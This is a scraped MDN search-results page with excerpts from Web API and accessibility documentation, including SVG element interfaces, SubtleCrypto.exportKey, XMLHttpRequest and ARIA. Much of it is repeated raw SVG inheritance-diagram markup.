...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 3 more matches
SVGFEFuncRElement - Web APIs
The SVGFEFuncRElement interface corresponds to the <feFuncR> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 3 more matches
SVGForeignObjectElement - Web APIs
es of <foreignObject> elements, as well as methods to manipulate them. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 3 more matches
SVGGElement - Web APIs
The SVGGElement interface corresponds to the <g> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 3 more matches
SVGGeometryElement - Web APIs
h can be filled and stroked. This includes paths and the basic shapes. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 3 more matches
SVGImageElement - Web APIs
The SVGImageElement interface corresponds to the <image> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 3 more matches
SVGLinearGradientElement - Web APIs
GradientElement interface corresponds to the <linearGradient> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 3 more matches
SVGRadialGradientElement - Web APIs
GradientElement interface corresponds to the <RadialGradient> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 3 more matches
SVGSVGElement - Web APIs
the ability to control the time of redraw on visual rendering devices. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 3 more matches
SVGSetElement - Web APIs
The SVGSetElement interface corresponds to the <set> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 3 more matches
SVGSwitchElement - Web APIs
The SVGSwitchElement interface corresponds to the <switch> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 3 more matches
SVGTextContentElement - Web APIs
xtElement, SVGTSpanElement, SVGTRefElement, SVGAltGlyphElement and SVGTextPathElement. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 3 more matches
SVGUseElement - Web APIs
terface The SVGUseElement interface corresponds to the <use> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 3 more matches
Storage API - Web APIs
The Storage Standard defines a common, shared storage system to be used by all APIs and technologies that store content-accessible data for individual
Web sites. The Storage API gives sites' code the ability to find out how much space they can use, how much they are already using, and even control whether or not they need to be alerted before the user agent disposes of site data in order to make room for other things. Note: This feature is available in
Web Workers. ...
...ore content-accessible data for individual
Web sites. The Storage API gives sites' code the ability to find out how much space they can use, how much they are already using, and even control whether or not they need to be alerted before the user agent disposes of site data in order to make room for other things. Note: This feature is available in
Web Workers. ...
... can use, how much they are already using, and even control whether or not they need to be alerted before the user agent disposes of site data in order to make room for other things. Note: This feature is available in
Web Workers. ...
...And 3 more matches
SubtleCrypto.exportKey() - Web APIs
n encrypted format: to encrypt keys when exporting them use the SubtleCrypto.wrapKey() API instead. Syntax const result = crypto.subtle.exportKey(format, key); Parameters format is a string value describing the data format in which the key should be exported. It can be one of the following: raw: Raw format. pkcs8: PKCS #8 format. spki: SubjectPublicKeyInfo format. jwk: JSON
Web Key format. key is the CryptoKey to export. Return value result is a Promise. If format was jwk, then the promise fulfills with a JSON object containing the key. Otherwise the promise fulfills with an ArrayBuffer containing the key. Exceptions The promise is rejected when one of the following exceptions is encountered: InvalidAccessError Raised when trying to exp...
...rypt"] ).then((key) => { const exportButton = document.querySelector(".raw"); exportButton.addEventListener("click", () => { exportCryptoKey(key); }); }); PKCS #8 export This example exports an RSA private signing key as a PKCS #8 object. The exported key is then PEM-encoded. See the complete code on GitHub. /* Convert an ArrayBuffer into a string from https://developers.google.com/
web/updates/2012/06/How-to-convert-ArrayBuffer-to-and-from-String */ function ab2str(buf) { return String.fromCharCode.apply(null, new Uint8Array(buf)); } /* Export the given key and write it into the "exported-key" space. */ async function exportCryptoKey(key) { const exported = await window.crypto.subtle.exportKey( "pkcs8", key ); const exportedAsString = ab2str(exported); const ...
... => { const exportButton = document.querySelector(".pkcs8"); exportButton.addEventListener("click", () => { exportCryptoKey(keyPair.privateKey); }); }); SubjectPublicKeyInfo export This example exports an RSA public encryption key as a PEM-encoded SubjectPublicKeyInfo object. See the complete code on GitHub. /* Convert an ArrayBuffer into a string from https://developers.google.com/
web/updates/2012/06/How-to-convert-ArrayBuffer-to-and-from-String */ function ab2str(buf) { return String.fromCharCode.apply(null, new Uint8Array(buf)); } /* Export the given key and write it into the "exported-key" space. */ async function exportCryptoKey(key) { const exported = await window.crypto.subtle.exportKey( "spki", key ); const exportedAsString = ab2str(exported); const e...
...And 3 more matches
Clearing by clicking - Web APIs
<< PreviousNext >> This example demonstrates how to combine user interaction with
WebGL graphics operations by clearing the rendering context with a random color when the user clicks. Clearing the rendering context with random colors This example provides a simple illustration of how to combine
WebGL and user interaction. Every time the user clicks the canvas or the button, the canvas is cleared with a new randomly chosen color. Note how we embed the
WebGL function calls inside the event handler function. ...
...ext with a random color when the user clicks. Clearing the rendering context with random colors This example provides a simple illustration of how to combine
WebGL and user interaction. Every time the user clicks the canvas or the button, the canvas is cleared with a new randomly chosen color. Note how we embed the
WebGL function calls inside the event handler function. ...
... var canvas = document.querySelector("#canvas-view"); var button = document.querySelector("#color-switcher"); canvas.addEventListe...
...And 3 more matches
High-level guides - Web APIs
There are no subpages at this time. ...
... There are no subpages at this time. ...
... There are no subpages at this time. ...
...And 3 more matches
Window.customElements - Web APIs
Specification Specification Status Comment HTML Living StandardThe definition of 'window.customElements' in that specification. Living Standard Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please ch...
...finition of 'window.customElements' in that specification. Living Standard Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...To ch...
...And 3 more matches
Window.showModalDialog() - Web APIs
This method was removed in Chrome 43 and Firefox 56. The Window.showModalDialog() created and displayed a modal dialog box containing a specified HTML document. Syntax returnVal = window.showModalDialog(uri[, arguments][, options]); returnVal holds the returnValue property as set by the document specified by uri. uri is the URL of the document to display in the dialog. arguments is an optional variant containing values passed to the dialog; these are made available in the window object's window.dialogArguments property. ...
...r additional options was not present in the HTML5 version. Specification MSDN page for showModalDialog Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...? ...
...And 3 more matches
Window - Web APIs
that can't reasonably pertain to a tab pertains to the window instead. ...
... also the DOM Interfaces. DOMParser DOMParser can parse XML or HTML source stored in a string into a DOM Document. DOMParser is specified in DOM Parsing and Serialization. Image Used for creating an HTMLImageElement. Option Used for creating an HTMLOptionElement. StaticRange Read only Returns a StaticRange() constructor which creates a StaticRange object. Worker Used for creating a
Web worker. XMLSerializer Converts a DOM tree into XML or HTML source. Properties This interface inherits properties from the EventTarget interface and implements properties from the WindowOrWorkerGlobalScope and WindowEventHandlers mixins. Note that properties which are objects (e.g.,. for overriding the prototype of built-in elements) are listed in a separate section below. Window.closed R...
...Returns an object reference to the window object itself. Window.sessionStorage Returns a reference to the session storage object used to store data that may only be accessed by the origin that created it. Window.sidebar Read only Returns a reference to the window object of the sidebar. Window.speechSynthesis Read only Returns a SpeechSynthesis object, which is the entry point into using
Web Speech API speech synthesis functionality. Window.status Gets/sets the text in the statusbar at the bottom of the browser. Window.statusbar Read only Returns the statusbar object, whose visibility can be toggled in the window. Window.toolbar Read only Returns the toolbar object, whose visibility can be toggled in the window. Window.top Read only Returns a reference to the topmost windo...
...And 3 more matches
WritableStream - Web APIs
sThe definition of 'WritableStream' in that specification. Living Standard Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... InternetWritableStream ExperimentalChrome Full support 59Edge Full support 16Firefox No support NoIE No support NoOpera Full support 47Safari ?
WebView Android Full support 59Chrome Android Full support 59Firefox Android No support NoOpera Android Full support 44Safari iOS ? Samsung Internet Android Full support ...
...bleStream() constructor ExperimentalChrome Full support 59Edge Full support 16Firefox No support NoIE No support NoOpera Full support 47Safari ?
WebView Android Full support 59Chrome Android Full support 59Firefox Android No support NoOpera Android Full support 44Safari iOS ? Samsung Internet Android Full support ...
...And 3 more matches
XMLHttpRequest - Web APIs
XMLHttpRequest (XHR) objects are used to interact with servers. You can retrieve data from a URL without having to do a full page refresh. This enables a
Web page to update just part of a page without disrupting what the user is doing. XMLHttpRequest is used heavily in AJAX programming. ...
...the user is doing. XMLHttpRequest is used heavily in AJAX programming. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/XMLHttpRequestEventTarget" target="_top"><rect x="151" y="1" width="250" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="276" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">XMLHttpRequestEventTarget</text></a><polyline points="401,25 411,20 411,30 401,25" stroke="#D4DDE4" fi...
...And 3 more matches
An overview of accessible web applications and widgets - Accessibility
ince the HTML4 specification doesn't provide built-in tags that semantically describe these kinds of widgets, developers typically resort to using generic elements such as <div> and <span>. While this results in a widget that looks like its desktop counterpart, there usually isn't enough semantic information in the markup to be usable by an assistive technology. The problem Dynamic content on a
web page can be particularly problematic for users who, for whatever reason, are unable to view the screen. Stock tickers, live twitter feed updates, progress indicators, and similar content modify the DOM in ways that an assistive technology (AT) may not be aware of. That's where ARIA comes in. Example 1: Markup for a tabs widget built without ARIA labeling. There's no information in the markup to ...
...re</div> </div> Example 2: How the tabs widget might be styled visually. Users might recognize it visually, but there are no machine-readable semantics for an assistive technology. ARIA ARIA enables developers to describe their widgets in more detail by adding special attributes to the markup. Designed to fill the gap between standard HTML tags and the desktop-style controls found in dynamic
web applications, ARIA provides roles and states that describe the behavior of most familiar UI widgets. Many of these were later added in HTML5, and developers should always prefer using the correct semantic HTML element over using ARIA. The ARIA specification is split up into three different types of attributes: roles, states, and properties. Roles describe widgets that aren't otherwise availab...
...t is busy, disabled, selected, or hidden. ARIA attributes are interpreted automatically by the browser and translated to the operating system's native accessibility APIs. So an element with role="slider" will be controlled in the same way as a native slider is controlled on the operating system. This provides a much more consistent user experience than was possible in the previous generation of
